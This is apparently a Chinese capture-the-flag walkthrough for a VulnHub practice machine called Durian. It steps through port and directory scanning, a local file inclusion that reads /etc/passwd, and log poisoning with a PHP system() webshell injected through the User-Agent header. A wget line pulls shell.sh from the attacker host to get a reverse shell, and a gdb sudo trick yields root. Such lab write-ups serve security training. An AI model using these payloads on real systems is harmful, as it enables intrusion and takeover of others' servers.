靶机下载地址: https://www.vulnhub.com/entry/cereal-1,703/
教程链接地址: https://www.cnblogs.com/sainet/p/15779414.html
# 确认攻击目标
攻击机 KALI: 192.168.0.135 (由于设置成了 DHCP、可能多变)
靶机 DURIAN:桥接于 192.168.0.1 的网卡,ip 未知
1 )确定靶机 ip 地址和开放的端口
由已至内网靶机所在主机 MAC 地址自动扫描靶机 ip
sudo arp-scan -l | grep 'a0' | awk '{print $1,$2}' | cut -d ' ' -f 1 | uniq

-> 靶机 ip 192.168.0.187
2 )对靶机开放的端口做更深一步的检索,检索各个服务上的详细信息
sudo nmap -sVC -T4 -Pn --open -p- 192.168.0.188 --min-rate=5000


检索到的有效服务如下所示:
22 ssh:可尝试 ssh 爆破与一些对应版本漏洞利用
80 7080 8000 8088 http:可对 web 进行渗透测试收集信息
# lfi 漏洞测试
打开 http://192.168.0.188/ 进行信息收集

gobuster dir -x php,bak,zip,rar,php.bak -w /usr/share/dirb/wordlists/common.txt -u http://192.168.0.188/


http://192.168.0.172/cgi-data/

http://192.168.0.172/cgi-data/getImage.php

有文件包含漏洞,测试读取 /etc/passwd
view-source:http://192.168.0.172/cgi-data/getImage.php?file=../../../../../etc/passwd

得到了两个有 bash 的用户,测试能否读取到私钥文件
view-source:http://192.168.0.172/cgi-data/getImage.php?file=../../../../../home/durian/.ssh/id_rsa

没有读取到私钥文件,此 lfi 漏洞利用还需要配合其他的漏洞,如果知道了日志文件地址,是可以尝试往日志里边写后门的
# 网站信息收集
查看一下其他的信息,获取到更多的信息
http://192.168.0.172/blog

7080 站点有一个登陆框,但是不存在弱口令,sql 注入

8000 站点是一张图片,需要目录收集

没有发现什么敏感的目录信息

8088 页面也是一个图片,没有什么特点

搜寻目录之后发现一些特殊的目录

发现大部分页面都是 403 , 没有利用的价值

有一个界面有登陆框和密码,可以用来爆破

# lfi 日志文件写木马
综上是能收集到所有的信息,登陆框处由于缺少用户名,是很难爆破出来的,
唯一有价值的线索指向了 lfi 漏洞,多次尝试之后找到了日志的路径
http://192.168.0.172/cgi-data/getImage.php?file=/var/log/durian.log/access.log

既然信息能够被保存在这里,就给发送一个带木马的信息,修改 UA 头
这里直接用 curl 命令来写,可以用 burp 将数据转化为 curl 命令
curl -v -X $'GET' -H $'User-Agent: Mozilla/5.0 <?php system($_GET[\'X_T\']); ?> (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36' $'http://192.168.0.188/cgi-data/getImage.php?file=/var/log/durian.log/access.log&X_T=whoami'

并且命令被执行了,收到了 www-data 即当前用户名

既然能够执行命令,那么就准备用日志来反弹 shell,准备如下代码

通过修改数据报使靶机下载 kali 上准备好的反弹 shell 的代码
GET http://192.168.0.188/cgi-data/getImage.php?file=/var/log/durian.log/access.log&X_T=wget+http://192.168.0.168/shell.sh+-O+/var/www/html/blog/shell.sh HTTP/1.1

但是失败了,没有下载提示,也没有合适的数据报返回
# post 型木马尝试
改为 post 的方式,写一个后门文件看看,居然写成功了,但是不知道怎么访问

用 lfi 漏洞的位置访问时是无法写入任何文件的,是个假后门

并且也不能修改原有的所有代码

还是从数据包来下手,可能下载成功了没有回显,索性就直接尝试执行本应该下载好的文件位置的 sh 脚本,看能不能把 shell 反弹出来

但是没有反弹出来,很奇怪
# 防火墙策略
试了大半天没有结果,直接重新导入靶机了,这次靶机 ip 发生变化了

再次用 burp 捕获数据,思考为什么不能反弹

既然可以执行命令,执行处 id 的结果,说明命令执行没有问题,但是去下载 python 简易 web 上的程序时出错了,很有可能是防火墙的问题,果然一看,防火墙不知道因为什么原因打开了,就一直卡住了

关闭防火墙,再次测试

# curl 指定数据包
1 | 用curl发送数据包,下载木马 |

当看到 python 服务器上有了回馈信息后,就说明是正确的

1 | 执行下载的程序,并且用来接收shell |

成功拿到网站权限,开始提权
# sudo (gdb) 提权
放一个 linpeas.sh, 查到 gdb 权限设置错误

参照 gtfobin,直接提权为 root 用户
gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit

-> 成功拿到了 root 权限